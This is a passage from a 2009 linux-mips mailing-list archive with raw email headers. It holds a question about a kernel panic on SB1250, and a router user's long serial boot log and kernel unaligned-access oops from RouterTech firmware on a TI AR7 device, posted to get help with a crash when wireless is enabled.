peter fuerst wrote: > > > there is one more good reason to ... : the Impact Xserver needs to do > > a cacheflush(a,w,DCACHE) as part of the refresh-sequence. > > And hence requires a sys_cacheflush, let's say, more conforming to the > > man-page (or some disgusting new ioctl in the Impact kernel-driver to > > do an equivalent operation ;-) > > Why does it need that flush? > > Ralf > > From ori@helicontech.co.il Mon Feb 16 14:48:48 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 16 Feb 2009 14:48:51 +0000 (GMT) Received: from mail-bw0-f161.google.com ([209.85.218.161]:10225 "EHLO mail-bw0-f161.google.com") by ftp.linux-mips.org with ESMTP id S21299243AbZBPOss (ORCPT ); Mon, 16 Feb 2009 14:48:48 +0000 Received: by bwz5 with SMTP id 5so3390803bwz.0 for ; Mon, 16 Feb 2009 06:48:43 -0800 (PST) MIME-Version: 1.0 Received: by 10.181.214.8 with SMTP id r8mr1044254bkq.206.1234795722801; Mon, 16 Feb 2009 06:48:42 -0800 (PST) Date: Mon, 16 Feb 2009 16:48:42 +0200 Message-ID: <26d57bbb0902160648m3168b8d1k7c1fe9fb6b9f0c79@mail.gmail.com> Subject: Kernel panic Exception 1 vector called on SB1250 From: Ori Idan To: linux-mips@linux-mips.org Content-Type: multipart/alternative; boundary=0016e6d7e0456d826a04630a4870 Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21941 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ori@helicontech.co.il Precedence: bulk X-list: linux-mips Content-Length: 780 Lines: 23 --0016e6d7e0456d826a04630a4870 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hello all, We have a system running Linux 2.4.20. Once in a while without anything special in the logs, we get a kernel panic saying Exception 1 vector called. Does anyone have any idea what might have caused this panic? -- Ori Idan --0016e6d7e0456d826a04630a4870 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
Hello all,

We have a system running Linux 2.4.20.
Once in a while without anything special in the logs, we get a kernel panic saying Exception 1 vector called.

Does anyone have any idea what might have caused this panic?

--
Ori Idan

--0016e6d7e0456d826a04630a4870-- From lists@nabble.com Mon Feb 16 21:49:24 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 16 Feb 2009 21:49:28 +0000 (GMT) Received: from kuber.nabble.com ([216.139.236.158]:3213 "EHLO kuber.nabble.com") by ftp.linux-mips.org with ESMTP id S21365811AbZBPVtY convert rfc822-to-8bit (ORCPT ); Mon, 16 Feb 2009 21:49:24 +0000 Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1LZBL7-0001OH-Kw for linux-mips@linux-mips.org; Mon, 16 Feb 2009 13:49:21 -0800 Message-ID: <22046664.post@talk.nabble.com> Date: Mon, 16 Feb 2009 13:49:21 -0800 (PST) From: fabry83 To: linux-mips@linux-mips.org Subject: Kernel 2.4.17_mvl21-malta-mips: error MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8BIT X-Nabble-From: distributor@hotmail.it Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21942 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: distributor@hotmail.it Precedence: bulk X-list: linux-mips Content-Length: 36432 Lines: 936 Hello world I have a router d'link g624t with 32mb of ram,TI ar7,bootloader adam2. I have installed Routertech 2.8 and when i try to use the wireless access point i have a kernel error... With the help of Thechief i have try a new release deactivating the mips 16 code,but the problem is unsolved. I post the serial debug with the error: [CODE] Copyright (C) 2006 Merlion-ACORP Russia Software Company. Launching kernel LZMA decompressor. Kernel decompressor was successful ... launching kernel. LINUX started... Config serial console: ttyS0,38400 Auto Detection SANGAM chip This SOC has MDIX cababilities on chip. CPU revision is: 00018448 Primary instruction cache 16kb, linesize 16 bytes (4 ways) Primary data cache 16kb, linesize 16 bytes (4 ways) Number of TLB entries 16. Linux version 2.4.17_mvl21-malta-mips_fp_le (router@Ubuntu) () #1 Sun Nov 23 01:41:54 GMT 2008 Determined physical RAM map: memory: 14000000 @ 00000000 (reserved) memory: 00020000 @ 14000000 (ROM data) memory: 01fe0000 @ 14020000 (usable) On node 0 totalpages: 8192 zone(0): 8192 pages. zone(1): 0 pages. zone(2): 0 pages. Kernel command line: calculating r4koff... 000b71b0(750000) CPU frequency 150.00 MHz Calibrating delay loop... 149.91 BogoMIPS Freeing Adam2 reserved memory [0x14001000,0x0001f000] Memory: 30156k/32768k available (1802k kernel code, 2612k reserved, 131k data, 60k init) Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes) Inode-cache hash table entries: 2048 (order: 2, 16384 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes) Page-cache hash table entries: 8192 (order: 3, 32768 bytes) Checking for 'wait' instruction... unavailable. POSIX conformance testing by UNIFIX Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 TI Optimizations: Allocating TI-Cached Memory Pool. Using 120 Buffers for TI-Cached Memory Pool. DEBUG: Using Hybrid Mode. NSP Optimizations: Succesfully allocated TI-Cached Memory Pool. Initializing RT netlink socket Starting kswapd Disabling the Out Of Memory Killer devfs: v1.7 (20011216) Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x1 squashfs: version 3.1 (2006/08/19) Phillip Lougher, lzma support by McMCC Adam2 environment variables API installed. pty: 32 Unix98 ptys configured Serial driver version 5.05c (2001-07-08) with no serial options enabled ttyS00 at 0xa8610e00 (irq = 15) is a 16550A ttyS01 at 0xa8610f00 (irq = 16) is a 16550A Vlynq CONFIG_MIPS_AVALANCHE_VLYNQ_PORTS=2 Vlynq Device vlynq0 registered with minor no 63 as misc device. Result=0 Vlynq instance:0 Link UP Vlynq Device vlynq1 registered with minor no 62 as misc device. Result=0 VLYNQ 1 : init failed cpu_freq = 150000000 block: 64 slots per queue, batch=16 DEBUG: Initializing the voice port management module. DEBUG: Initialization of the voice port management module successful.. Cpmac driver is allocating buffer memory at init time. Cpmac driver Enable TX complete interrupt Default Asymmetric MTU for eth0 1500 Default Asymmetric MTU for eth1 1500 Default Asymmetric MTU for eth2 1500 Default Asymmetric MTU for eth3 1500 PPP generic driver version 2.4.1 avalanche flash device: 0x400000 at 0x10000000. Amd/Fujitsu Extended Query Table v1.1 at 0x0040 Flash type: AMD; Manufacturer=AMD. Manufacturer_ID=0x0001; Chip_ID=0x00F9; Chip_Size=0x400000; Erase_Regions=0x0002 The Chief's FLASH extensions (www.RouterTech.Org): code loaded. number of CFI chips: 1 Looking for mtd device :mtd0: Found a mtd0 image (0x94000), with size (0x35c000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00094000-0x003f0000 : "mtd0" mtd: partition "mtd0" doesn't start on an erase block boundary -- force read-only Looking for mtd device :mtd1: Found a mtd1 image (0x10090), with size (0x83f70). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00010090-0x00094000 : "mtd1" mtd: partition "mtd1" doesn't start on an erase block boundary -- force read-only Looking for mtd device :mtd2: Found a mtd2 image (0x0), with size (0x10000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00000000-0x00010000 : "mtd2" Looking for mtd device :mtd3: Found a mtd3 image (0x3f0000), with size (0x10000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x003f0000-0x00400000 : "mtd3" Looking for mtd device :mtd4: Found a mtd4 image (0x10000), with size (0x3e0000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00010000-0x003f0000 : "mtd4" Looking for mtd device :mtd5: NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 512 buckets, 4Kbytes TCP: Hash tables configured (established 2048 bind 2048) Linux IP multicast router 0.06 plus PIM-SM ip_conntrack version 2.1 (256 buckets, 2048 max) - 384 bytes per conntrack ip_conntrack_pptp version 1.9 loaded ip_nat_pptp version 1.5 loaded ip_tables: (C) 2000-2002 Netfilter core team ipt_account 0.1.6 : Piotr Gasid³o , http://www.barbara.eu.org/~quaker/ipt_account/ netfilter PSD loaded - (c) astaro AG NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. NET4: Ethernet Bridge 008 for NET4.0 Initializing the WAN Bridge. Please set the MAC Address for the WAN Bridge. Set the Environment variable 'HWA_3' or 'macc' or 'wan_br_mac'. MAC Address should be in the following format: xx:xx:xx:xx:xx:xx VFS: Mounted root (squashfs filesystem) readonly. Mounted devfs on /dev Freeing unused kernel memory: 60k freed Algorithmics/MIPS FPU Emulator v1.5 Sun Nov 23 01:46:00 UTC 2008 Reading Standard Configuration File /etc/led.conf Configured 19 states registered device TI Avalanche SAR Sangam detected DSP binary filesize = 362422 bytes tn7dsl_set_modulation : Setting mode to 0xff Texas Instruments ATM driver: version:[7.03.09.00] ifconfig: SIOCGIFFLAGS: No such device ifconfig: SIOCGIFFLAGS: No such device ifconfig: SIOCGIFFLAGS: No such device Please press Enter to activate this console. PVC dB vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 Nov 23 01:46:12 cfgmgr(pppoa-108): Nov 23 01:46:12 | Valid Configuration Tree Doing BRCTL ... addbr br0 Doing BRCTL ... addbr br1 Doing BRCTL ... addbr br2 Nov 23 01:4tn7dsl_set_modulation : Setting mode to 0xff 6:12 cfgmgr(sntp): Nov 23 01:46:12 | NTP Polling Timer for DHCP Started succesfully. Nov 23 01:46:12 cfgmgr(sar): Nov 23 01:46:12 | DSL Polling Timer Started succesfully. Nov 23 01:46:12 cfgmgr(sar): Nov 23 01:46:12 | PSP Boot environment Modem Modulation Change: 0xff Nov 23 01:46:13 cfgmgr(fdb): Nov 23 01:46:13 | Firewall NAT service started Default Asymmetric MTU for br0 1500 Nov 23 01:46:13 cfgmgr(lanbridge0): Nov 23 01:46:13 | Bridge Created: br0 Default Asymmetric MTU for br1 1500 Default Asymmetric MTU for br2 1500 Doing BRCTL ... setfilter br0 0 Nov 23 01:46:15 cfgmgr(lanbridge0): Nov 23 01:46:15 | Bridge VLAN0 add eth0 Nov 23 01:46:15 cfgmgr(lanbridge0): Nov 23 01:46:15 | Bridge VLAN AUTO OFF. Doing BRCTL ... vlan trailer disable Doing BRCTL ... addif br0 eth0 Nov 23 01:46:15 cfgmgr(lanbridge1): Nov 23 01:46:15 | Bridge Created: br1 device eth0 entered promiscuous mode br0: port 1(eth0) entering learning state Doing BRCTL ... setfilter br1 0 Nov 23 01:46:16 cfgmgr(lanbridge2): Nov 23 01:46:16 | Bridge Created: br2 Doing BRCTL ... setfilter br2 0 Doing BRCTL ... stp br0 off Doing BRCTL ... setigmpsnoop br0 off Doing BRCTL ... stp br1 off Doing BRCTL ... setigmpsnoop br1 off Nov 23 01:46:18 cfgmgr(lanbridge0): Nov 23 01:46:18 | Bridge Interface Added: eth0 set bridge igmp snooping Off Default Asymmetric MTU for wlan0 1500 set bridge igmp snooping Off br0: port 1(eth0) entering forwarding state br0: topology change detected, propagating 296: 802.11d is 296: disabled. 296: 802.11h is 296: disabled. 296: Configuration succeeded !!! 296: WLAN driver database is up Resetting the remote device. Doing BRCTL ... setfilter br0 0 Doing BRCTL ... stp br2 off Doing BRCTL ... setigmpsnoop br2 off Nov 23 01:46:20 cfgmgr(ap): Nov 23 01:46:20 | AP Driver configuration successful Un-resetting the remote device. About to re-init the VLYNQ. Re-initialized the VLYNQ. 298: AcxRegAddr = 0xA4040000, AcxMemAddr = 0xA4000000 298: whal_acxProcInitiate: found DEVICE_VENDOR ID = 0x9066104c 299: whal_acxProcInitiate: Cpu halt -> download code 299: whal_acxProcLoadFwImage: 0xa4000000, 0x0 299: whal_acxProcLoadFwImage() -- Loading FW image299: Compiled for RADIA (bg) radio 299: whal_acxProcLoadFwImage: 1, pBuf=0xc00a4000, len=0x15564. Extra pBuf=0x0, len=0x3 299: whal_acxProcLoadFwImage: 2, pBuf=0xc00a4000, len=0x15564. Extra pBuf=0x0, len=0x3 300: whal_acxProcLoadFwImage: 3, pBuf=0xc00a4000, len=0x15564, DataLen=0x1555c 300: whal_acxProcLoadFwImage: 4, pBuf=0xc00a4000, len=0x15564 300: whal_acxProcLoadFwImage: Checksum, calc=0x71e76f, file=0x71e76f 304: whal_acxProcInitiate: run 304: whal_acxProcWaitInitComplete: 309: whal_acxMboxInit: pCmdMbox=0xa401dd00, pInfoMbox=0xa401de88 309: ---------------------------------------------------------------- 309: ACX Firmaware Version = Rev 1.6.0.24 309: ---------------------------------------------------------------- 309: whal_acxProcConfigure: templates (beacon, probe response, tim) for [0] Network 310: whal_acxProcConfigure: Host Queue is in 0x95ACE020 310: TxQueue[0] NumDesc = 32 310: TxQueue[0] Priority = 0 310: TxQueue[1] NumDesc = 32 310: TxQueue[1] Priority = 129 310: whal_acxConfigMemory() -- HostRxDescriptorsAddr = 15ace020 310: RxQueue NumDesc = 32 310: RxQueue Priority = 0 310: RxQueue type = 7 311: 311: whal_acxProcConfigure: WEP cache 311: whal_acxProcConfigure: read queue heads 311: whal_acxConfigRead_QueueHead() - 311: RxMemBlkQ - 00015920 311: RxQueueHead - 00012f14 312: TxMemBlkQ - 0001b320 312: TxMemBlkQ[0]- 00013594 312: TxMemBlkQ[1]- 00013c14 312: 312: whal_acxProcConfigure: configure RxQueue/TxQueue objects 312: whal_txQueue_Init: [Qid=0] HwBaseAddr=0xa4013594, NumDesc=32 312: whal_txQueue_Init: [Qid=1] HwBaseAddr=0xa4013c14, NumDesc=32 313: whal_ParamsPrintMemMap: 313: Code (0x00000000, 0x0001250c) Wep (0x000127e4, 0x000128f4) Sta (0x000128f4, 0x00012efc) Tmpl (0x00012524, 0x000125c1) Queue (0x00012f14, 0x00014294) Pool (0x00015920, 0x0001c720) 315: whal_apiConfig: beaconInterval = 200 WATCH_DOG_TIMER_VAL = 520 wd_beacon_limiter = 1 315: WLAN HAL layer is up 315: BssBridge is up 315: Mgmt is up 315: Rx is up 315: Tx is up 315: MemMngr is up 315: main state machine is up 336: WDRV_MAINSM: WLAN Driver initialized successfully 336: WDRV_4X: 4x Disabled 336: WDRV_4X: Concatenation Disabled 336: WDRV_4X: Ack Emulation Disabled 336: whal_apiStartBss: Enable Tx, Rx and Start the Bss 336: ---------------------------------------------------------------- 336: ---------------------------------------------------------------- 336: START BSS, SSID=RouterTech.Org, BSSID=00-E0-A0-A6-66-70 337: ---------------------------------------------------------------- 337: ---------------------------------------------------------------- 337: AP Power Level = 1 337: Regulatory Domain = ETSI 337: Net[0] : Channel=11 337: ---------------------------------------------------------------- 338: FW Watchdog is Enabled dda: wlan0 in initializing Succeeded wireless extensions: ret = 0 set bridge igmp snooping Off Nov 23 01:46:24 cfgmgr(ap): Nov 23 01:46:24 | AP IS UP wlan0 device is activated Nov 23 01:46:24 cfgmgr(static-105): Nov 23 01:46:24 | ifconfig failed with message: (null) Doing BRCTL ... addif br0 wlan0 device wlan0 entered promiscuous mode br0: port 2(wlan0) entering learning state Nov 23 01:46:24 cfgmgr(lanbridge0): Nov 23 01:46:24 | Bridge Interface Added: wlan0 Doing BRCTL ... setfilter br0 0 Nov 23 01:46:26 cfgmgr(sar): Nov 23 01:46:26 | DSL Carrier is down br0: port 2(wlan0) entering forwarding state br0: topology change detected, propagating Restarting system. ADAM2 Revision 0.22.13 (C) Copyright 1996-2003 Texas Instruments Inc. All Rights Reserved. (C) Copyright 2003 Telogy Networks, Inc. Usage: setmfreq [-d] [-s sys_freq, in MHz] [cpu_freq, in MHz] Memory optimization Complete! mac_init(): Find mac [Â(ë(ɨCšû¬Õ§ ÃP5T(â€T(â€] in location 7 Illegal mac [Â(ë(ɨCšû¬Õ§ ÃP5T(â€T(â€], skip mac_value:00:e0:a0:a6:66:70 Adam2_4MMod > Press any key to abort OS load, or wait 5 seconds for OS to boot... Copyright (C) 2006 Merlion-ACORP Russia Software Company. Launching kernel LZMA decompressor. Kernel decompressor was successful ... launching kernel. LINUX started... Config serial console: ttyS0,38400 Auto Detection SANGAM chip This SOC has MDIX cababilities on chip. CPU revision is: 00018448 Primary instruction cache 16kb, linesize 16 bytes (4 ways) Primary data cache 16kb, linesize 16 bytes (4 ways) Number of TLB entries 16. Linux version 2.4.17_mvl21-malta-mips_fp_le (router@Ubuntu) () #1 Sun Nov 23 01:41:54 GMT 2008 Determined physical RAM map: memory: 14000000 @ 00000000 (reserved) memory: 00020000 @ 14000000 (ROM data) memory: 01fe0000 @ 14020000 (usable) On node 0 totalpages: 8192 zone(0): 8192 pages. zone(1): 0 pages. zone(2): 0 pages. Kernel command line: calculating r4koff... 000b71b0(750000) CPU frequency 150.00 MHz Calibrating delay loop... 149.91 BogoMIPS Freeing Adam2 reserved memory [0x14001000,0x0001f000] Memory: 30156k/32768k available (1802k kernel code, 2612k reserved, 131k data, 60k init) Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes) Inode-cache hash table entries: 2048 (order: 2, 16384 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes) Page-cache hash table entries: 8192 (order: 3, 32768 bytes) Checking for 'wait' instruction... unavailable. POSIX conformance testing by UNIFIX Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 TI Optimizations: Allocating TI-Cached Memory Pool. Using 120 Buffers for TI-Cached Memory Pool. DEBUG: Using Hybrid Mode. NSP Optimizations: Succesfully allocated TI-Cached Memory Pool. Initializing RT netlink socket Starting kswapd Disabling the Out Of Memory Killer devfs: v1.7 (20011216) Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x1 squashfs: version 3.1 (2006/08/19) Phillip Lougher, lzma support by McMCC Adam2 environment variables API installed. pty: 32 Unix98 ptys configured Serial driver version 5.05c (2001-07-08) with no serial options enabled ttyS00 at 0xa8610e00 (irq = 15) is a 16550A ttyS01 at 0xa8610f00 (irq = 16) is a 16550A Vlynq CONFIG_MIPS_AVALANCHE_VLYNQ_PORTS=2 Vlynq Device vlynq0 registered with minor no 63 as misc device. Result=0 Vlynq instance:0 Link UP Vlynq Device vlynq1 registered with minor no 62 as misc device. Result=0 VLYNQ 1 : init failed cpu_freq = 150000000 block: 64 slots per queue, batch=16 DEBUG: Initializing the voice port management module. DEBUG: Initialization of the voice port management module successful.. Cpmac driver is allocating buffer memory at init time. Cpmac driver Enable TX complete interrupt Default Asymmetric MTU for eth0 1500 Default Asymmetric MTU for eth1 1500 Default Asymmetric MTU for eth2 1500 Default Asymmetric MTU for eth3 1500 PPP generic driver version 2.4.1 avalanche flash device: 0x400000 at 0x10000000. Amd/Fujitsu Extended Query Table v1.1 at 0x0040 Flash type: AMD; Manufacturer=AMD. Manufacturer_ID=0x0001; Chip_ID=0x00F9; Chip_Size=0x400000; Erase_Regions=0x0002 The Chief's FLASH extensions (www.RouterTech.Org): code loaded. number of CFI chips: 1 Looking for mtd device :mtd0: Found a mtd0 image (0x94000), with size (0x35c000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00094000-0x003f0000 : "mtd0" mtd: partition "mtd0" doesn't start on an erase block boundary -- force read-only Looking for mtd device :mtd1: Found a mtd1 image (0x10090), with size (0x83f70). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00010090-0x00094000 : "mtd1" mtd: partition "mtd1" doesn't start on an erase block boundary -- force read-only Looking for mtd device :mtd2: Found a mtd2 image (0x0), with size (0x10000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00000000-0x00010000 : "mtd2" Looking for mtd device :mtd3: Found a mtd3 image (0x3f0000), with size (0x10000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x003f0000-0x00400000 : "mtd3" Looking for mtd device :mtd4: Found a mtd4 image (0x10000), with size (0x3e0000). Creating 1 MTD partitions on "Physically mapped flash:0": 0x00010000-0x003f0000 : "mtd4" Looking for mtd device :mtd5: NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 512 buckets, 4Kbytes TCP: Hash tables configured (established 2048 bind 2048) Linux IP multicast router 0.06 plus PIM-SM ip_conntrack version 2.1 (256 buckets, 2048 max) - 384 bytes per conntrack ip_conntrack_pptp version 1.9 loaded ip_nat_pptp version 1.5 loaded ip_tables: (C) 2000-2002 Netfilter core team ipt_account 0.1.6 : Piotr Gasid³o , http://www.barbara.eu.org/~quaker/ipt_account/ netfilter PSD loaded - (c) astaro AG NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. NET4: Ethernet Bridge 008 for NET4.0 Initializing the WAN Bridge. Please set the MAC Address for the WAN Bridge. Set the Environment variable 'HWA_3' or 'macc' or 'wan_br_mac'. MAC Address should be in the following format: xx:xx:xx:xx:xx:xx VFS: Mounted root (squashfs filesystem) readonly. Mounted devfs on /dev Freeing unused kernel memory: 60k freed Algorithmics/MIPS FPU Emulator v1.5 Sun Nov 23 01:46:00 UTC 2008 Reading Standard Configuration File /etc/led.conf Configured 19 states registered device TI Avalanche SAR Sangam detected DSP binary filesize = 362422 bytes tn7dsl_set_modulation : Setting mode to 0xff Texas Instruments ATM driver: version:[7.03.09.00] ifconfig: SIOCGIFFLAGS: No such device ifconfig: SIOCGIFFLAGS: No such device ifconfig: SIOCGIFFLAGS: No such device Please press Enter to activate this console. PVC dB vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 vpi = -1 vci = -1 in_use = 0 Nov 23 01:46:12 cfgmgr(pppoa-108): Nov 23 01:46:12 | Valid Configuration Tree Doing BRCTL ... addbr br0 Doing BRCTL ... addbr br1 Doing BRCTL ... addbr br2 Nov 23 01:46:12 cfgmgr(sntp): Nov 23 01:46:12 | NTP Polling Timer for DHCP Started succesfully.tn7dsl_set_modulation : Setting mode to 0xff Nov 23 01:46:12 cfgmgr(sar): Nov 23 01:46:12 | DSL Polling Timer Started succesfully. Nov 23 01:46:13 cfgmgr(sar): Nov 23 01:46:13 | PSP Boot environment Modem Modulation Change: 0xff Nov 23 01:46:13 cfgmgr(fdb): Nov 23 01:46:13 | Firewall NAT service started Default Asymmetric MTU for br0 1500 Default Asymmetric MTU for br1 1500 Nov 23 01:46:13 cfgmgr(lanbridge0): Nov 23 01:46:13 | Bridge Created: br0 Default Asymmetric MTU for br2 1500 Doing BRCTL ... setfilter br0 0 Nov 23 01:46:15 cfgmgr(lanbridge0): Nov 23 01:46:15 | Bridge VLAN0 add eth0 Nov 23 01:46:15 cfgmgr(lanbridge0): Nov 23 01:46:15 | Bridge VLAN AUTO OFF. Doing BRCTL ... vlan trailer disable Doing BRCTL ... addif br0 eth0 Nov 23 01:46:15 cfgmgr(lanbridge1): Nov 23 01:46:15 | Bridge Created: br1 device eth0 entered promiscuous mode br0: port 1(eth0) entering learning state Doing BRCTL ... setfilter br1 0 Nov 23 01:46:18 cfgmgr(ap): Nov 23 01:46:18 | WPA Authenticator Started Nov 23 01:46:18 cfgmgr(lanbridge2): Nov 23 01:46:18 | Bridge Created: br2 br0: port 1(eth0) entering forwarding state br0: topology change detected, propagating Doing BRCTL ... setfilter br2 0 Doing BRCTL ... stp br0 off Doing BRCTL ... setigmpsnoop br0 off Nov 23 01:46:20 cfgmgr(lanbridge0): Nov 23 01:46:20 | Bridge Interface Added: eth0 set bridge igmp snooping Off Doing BRCTL ... setfilter br0 0 Doing BRCTL ... stp br1 off Doing BRCTL ... setigmpsnoop br1 off Doing BRCTL ... stp br2 off Doing BRCTL ... setigmpsnoop br2 off Nov 23 01:46:22 cfgmgr(sar): Nov 23 01:46:22 | DSL Carrier is down set bridge igmp snooping Off set bridge igmp snooping Off Default Asymmetric MTU for wlan0 1500 Nov 23 01:46:23 cfgmgr(ap): Nov 23 01:46:23 | AP Driver configuration successful 343: 802.11d is 343: disabled. 343: 802.11h is 343: disabled. 343: Configuration succeeded !!! 343: WLAN driver database is up Resetting the remote device. Un-resetting the remote device. About to re-init the VLYNQ. Re-initialized the VLYNQ. 344: AcxRegAddr = 0xA4040000, AcxMemAddr = 0xA4000000 344: whal_acxProcInitiate: found DEVICE_VENDOR ID = 0x9066104c 344: whal_acxProcInitiate: Cpu halt -> download code 344: whal_acxProcLoadFwImage: 0xa4000000, 0x0 345: whal_acxProcLoadFwImage() -- Loading FW image345: Compiled for RADIA (bg) radio 345: whal_acxProcLoadFwImage: 1, pBuf=0xc00a4000, len=0x15564. Extra pBuf=0x0, len=0x3 345: whal_acxProcLoadFwImage: 2, pBuf=0xc00a4000, len=0x15564. Extra pBuf=0x0, len=0x3 345: whal_acxProcLoadFwImage: 3, pBuf=0xc00a4000, len=0x15564, DataLen=0x1555c 346: whal_acxProcLoadFwImage: 4, pBuf=0xc00a4000, len=0x15564 346: whal_acxProcLoadFwImage: Checksum, calc=0x71e76f, file=0x71e76f 349: whal_acxProcInitiate: run 349: whal_acxProcWaitInitComplete: 354: whal_acxMboxInit: pCmdMbox=0xa401dd00, pInfoMbox=0xa401de88 355: ---------------------------------------------------------------- 355: ACX Firmaware Version = Rev 1.6.0.24 355: ---------------------------------------------------------------- 355: whal_acxProcConfigure: templates (beacon, probe response, tim) for [0] Network 355: whal_acxProcConfigure: Host Queue is in 0x95DD0020 356: TxQueue[0] NumDesc = 32 356: TxQueue[0] Priority = 0 356: TxQueue[1] NumDesc = 32 356: TxQueue[1] Priority = 129 356: whal_acxConfigMemory() -- HostRxDescriptorsAddr = 15dd0020 356: RxQueue NumDesc = 32 356: RxQueue Priority = 0 356: RxQueue type = 7 356: 356: whal_acxProcConfigure: WEP cache 357: whal_acxProcConfigure: read queue heads 357: whal_acxConfigRead_QueueHead() - 357: RxMemBlkQ - 00016900 357: RxQueueHead - 00013ef4 357: TxMemBlkQ - 0001b400 357: TxMemBlkQ[0]- 00014574 357: TxMemBlkQ[1]- 00014bf4 357: 357: whal_acxProcConfigure: configure RxQueue/TxQueue objects 357: whal_txQueue_Init: [Qid=0] HwBaseAddr=0xa4014574, NumDesc=32 358: whal_txQueue_Init: [Qid=1] HwBaseAddr=0xa4014bf4, NumDesc=32 358: whal_ParamsPrintMemMap: 358: Code (0x00000000, 0x0001250c) Wep (0x000127e4, 0x000128f4) Sta (0x000128f4, 0x00013edc) Tmpl (0x00012524, 0x000125c1) Queue (0x00013ef4, 0x00015274) Pool (0x00016900, 0x0001c800) 360: whal_apiConfig: beaconInterval = 200 WATCH_DOG_TIMER_VAL = 520 wd_beacon_limiter = 1 360: WLAN HAL layer is up 361: BssBridge is up 361: Mgmt is up 361: Rx is up 361: Tx is up 361: MemMngr is up 361: main state machine is up 381: WDRV_MAINSM: WLAN Driver initialized successfully 381: WDRV_4X: 4x Disabled 381: WDRV_4X: Concatenation Disabled 381: WDRV_4X: Ack Emulation Disabled 381: whal_apiStartBss: Enable Tx, Rx and Start the Bss 382: ---------------------------------------------------------------- 382: ---------------------------------------------------------------- 382: START BSS, SSID=RouterTech.Org, BSSID=00-E0-A0-A6-66-70 382: ---------------------------------------------------------------- 382: ---------------------------------------------------------------- 383: AP Power Level = 1 383: Regulatory Domain = ETSI 383: Net[0] : Channel=11 383: ---------------------------------------------------------------- 384: FW Watchdog is Enabled dda: wlan0 in initializing Succeeded wireless extensions: ret = 0 Nov 23 01:46:29 cfgmgr(ap): Nov 23 01:46:29 | AP IS UP wlan0 device is activated Doing BRCTL ... addif br0 wlan0 device wlan0 entered promiscuous mode br0: port 2(wlan0) entering learning state Nov 23 01:46:29 cfgmgr(lanbridge0): Nov 23 01:46:29 | Bridge Interface Added: wlan0 Doing BRCTL ... setfilter br0 0 br0: port 2(wlan0) entering forwarding state br0: topology change detected, propagating Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 00000000 00030001 00000022 00000000 00000000 c0043000 $8 : 1000fc01 1000001f 941f3040 40000000 95c19ee1 fffffffb 00000008 7fff6ae0 $16: 00000022 9435eb40 95f1e000 00000000 00000006 95f1ffe8 00000000 00000400 $24: 00000001 2acbed80 95f1e000 95f1ff08 7fff7db8 9402e810 Hi : 00000032 Lo : 3d70a403 epc : 9418c1d4 Not tainted Status: 1000fc03 Cause : 10800010 Process (pid: 27, stackpage=95f1e000) Stack: dd6d8803 64968a2f 69056570 74e502fe 4e9513bb af8ddcd0 21882d17 a128fce3 00000022 9435eb40 9402e810 042be70e 970fb07d 74d74d68 8f517ecb 15de7efb 3efc2784 00030001 82bd1d07 44a34b32 e1fc0257 de42e953 394fce67 36aa613f 53fda4f3 88b62868 8fbfdbeb cf4c1179 ee4f3d4c a7ed4a44 b5d0c4ae 765f43a3 195a1db0 91e0d6bd 083783f6 42314d1f cad648c8 58657618 f4ebdb79 728a7a05 8ad2187d ... Call Trace: [<9402e810>] [<940302b8>] Code: afbf0028 afb10024 afb00020 <8c850000> 04a00007 24820008 8c830008 14620005 03808021 Kernel unaligned instruction access in unaligned.c:do_ade, line 408: $0 : 00000000 1000fc00 383e6e6f 